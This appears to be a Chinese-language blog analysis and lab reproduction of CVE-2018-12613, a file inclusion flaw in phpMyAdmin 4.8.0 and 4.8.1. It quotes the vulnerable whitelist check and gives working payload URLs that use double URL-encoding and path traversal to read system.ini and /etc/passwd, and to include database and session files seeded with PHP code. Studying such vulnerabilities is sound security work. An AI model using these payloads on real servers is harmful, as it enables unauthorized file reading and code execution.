说明

漏洞编号CVE-2018-12613,如果以前遇到phpMyAdmin,基本会选择使用outfile或者更改日志文件来写shell,貌似均需要root那样的权限才可行。如今,这个文件包含则降低了Getshell的难度,只需要登陆后台
影响版本:4.8.0、4.8.1

分析

漏洞代码在/index.php:55

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

经过判断为true则直接包含,前4个很好理解,只需要传入的target不以’index’开头,且不在黑名单中即可。重点看Core::checkPageValidity,进入查看/libraries/classes/Core.php:443

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
//第一种
if (in_array($page, $whitelist)) {
return true;
}
//第二种
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//第三种
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

该函数载入了一个白名单,然后分别使用了三种方式处理$page后,判断是否在白名单中

  • 直接使用$page比较
  • 截取$page参数中?之前的部分
  • URL解码后,再截取$page参数中?之前的部分

第一种直接放弃;第二种由于?在URL中的特殊含义,不会传到这里来;第三种则刚好解决了第二种的难题,我们传入?二次URL编码后的%25%3F,则$page前面部分控制在白名单中,后面部分就可以随意构造了

复现

既然是文件包含,就需要知道文件的路径,绝对路径可以通过查看Mysql的相关配置得出。网上有几种形式的利用,适合不同的情况使用
1、包含本地文件,payload:
http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/system.ini

1532173538371

测试发现:
这里在windows环境下,后面被包含文件的路径不能有盘符。如果include后面是限制了盘符的,便不能跨到其他盘符的路径

2、包含数据库文件

创建数据库test,创建表a,字段名或者注释处填写为<?php phpinfo();?>,执行show variables like "%datadir%"查看数据库文件目录,payload:
http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy/PHPTutorial/MySQL/data/test/a.frm

img

3、包含SESSION文件
这个相对难利用,因为保存SESSION的文件路径不一定知道,linux一般在:/var/lib/php/session/,我这里是windows下的phpstudy环境下,在/phpstudy/PHPTutorial/tmp/tmp/

执行SQL语句:select <?php phpinfo();?>,查看cookie中的sessionID,构造payload:
http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy/PHPTutorial/tmp/tmp/sess_huld9p9i6d1so0jia0h2g1d5j9ca3ksf

img

180729更新

看到大佬的博客才发现?在Linux下根本不需要编码,因为本身变量就在query当中,而win下需要编码是因为不允许目录存在特殊字符

payload可以是下面这样:

http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php?/../../../../../../etc/passwd

反省自己太为复现而去复现了,忽略了某些东西,以后一定先按自己的思路走一遍